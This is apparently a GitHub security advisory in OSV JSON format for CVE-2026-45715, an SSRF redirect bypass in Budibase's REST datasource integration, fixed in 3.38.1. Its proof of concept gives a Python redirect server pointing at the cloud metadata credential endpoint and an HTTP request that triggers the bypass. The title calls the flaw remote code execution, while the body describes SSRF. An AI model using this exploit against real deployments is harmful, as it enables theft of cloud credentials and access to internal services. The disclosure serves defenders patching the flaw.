CVE-2026-45715: Budibase Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fgqv-jh4g-pvg2",
  "modified" : "2026-06-08T23:50:37Z",
  "published" : "2026-05-15T17:53:08Z",
  "aliases" : [ "CVE-2026-45715" ],
  "summary" : "Budibase: SSRF Bypass via HTTP Redirect in REST Datasource Integration",
  "details" : "### Summary\n\nThe REST datasource integration follows HTTP redirects without re-checking the IP blacklist, allowing an authenticated Builder to access internal services (cloud metadata, databases) by redirecting through an attacker-controlled server. The same vulnerability class was already patched in automation steps (`fetchWithBlacklist` in `packages/server/src/automations/steps/utils.ts`) but the REST integration was missed.\n\n### Details\n\n**Vulnerable file:** `packages/server/src/integrations/rest.ts`, lines 754-778\n\nThe `_req()` method checks the request URL against the IP blacklist at line 754, then calls `fetch(url, input)` at line 778. No `redirect: \"manual\"` option is set, so undici's fetch defaults to `redirect: \"follow\"`, automatically following HTTP 301/302/307 redirects **without re-validating the redirect target against the blacklist**.\n\n```typescript\n// Line 754 — blacklist check on original URL only\nif (await blacklist.isBlacklisted(url)) {\n  throw new Error(\"URL is blocked or could not be resolved safely.\")\n}\n\n// Line 778 — fetch follows redirects, NO re-check on redirect target\nresponse = await fetch(url, input)\n```\n\nThe automation steps already implement the correct fix in `packages/server/src/automations/steps/utils.ts` (lines 100-136) via `fetchWithBlacklist()`, which sets `redirect: \"manual\"` and re-checks the blacklist on every redirect hop. The REST integration does not use this safe wrapper.\n\nRelevant prior fix commits on the automation side:\n- `6cfa3bcca3` — \"fix(server): enforce outbound blacklist in webhook automation steps\"\n- `e7d47625be` — \"Fix automation webhook blacklist redirect bypass\"\n\n### PoC\n\n**Step 1 — Set up a redirect server (attacker-controlled):**\n\n```python\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass RedirectHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(302)\n        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/iam/security-credentials/')\n        self.end_headers()\n\nHTTPServer(('0.0.0.0', 8080), RedirectHandler).serve_forever()\n```\n\n**Step 2 — As a Builder, create a REST datasource pointing to the attacker's server.**\n\n**Step 3 — Preview a query:**\n\n```http\nPOST /api/queries/preview HTTP/1.1\nHost: <budibase-instance>\nContent-Type: application/json\nCookie: <builder-session>\nx-budibase-app-id: <app-id>\n\n{\n  \"datasourceId\": \"<rest-datasource-id>\",\n  \"queryVerb\": \"read\",\n  \"fields\": {\n    \"path\": \"http://<attacker-ip>:8080/\",\n    \"queryString\": \"\",\n    \"headers\": {},\n    \"bodyType\": \"none\",\n    \"requestBody\": \"\"\n  },\n  \"parameters\": [],\n  \"transformer\": \"return data\",\n  \"name\": \"ssrf-test\",\n  \"schema\": {}\n}\n```\n\n**Step 4 — The blacklist check passes (attacker IP is public), undici follows the 302 redirect to the internal target, and the response is returned:**\n\n```json\n{\n  \"rows\": [{\n    \"couchdb\": \"Welcome\",\n    \"version\": \"3.3.3\",\n    \"uuid\": \"a84d3353128485a22973a759df2387bc\"\n  }]\n}\n```\n\nTested and confirmed on Budibase v3.34.6 running locally with default blacklist active.\n\n### Impact\n\n- **Cloud credential theft:** On AWS/GCP/Azure instances, attacker accesses `169.254.169.254` to steal IAM credentials or service account tokens.\n- **Internal service access:** CouchDB (`:4005`), Redis (`:6379`), MinIO (`:4004`), and other internal services become accessible\n- **Bypasses explicit security control:** The IP blacklist exists specifically to prevent this, and works correctly for direct access — only the redirect path is unprotected.\n- **Already-known vulnerability class:** This was previously identified and fixed in automation steps (commits `6cfa3bcca3`, `e7d47625be`) but the REST datasource integration was not patched.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@budibase/server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.38.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/security/advisories/GHSA-fgqv-jh4g-pvg2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45715"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Budibase/budibase"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/releases/tag/3.38.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-15T17:53:08Z",
    "nvd_published_at" : "2026-05-27T18:16:25Z"
  }
}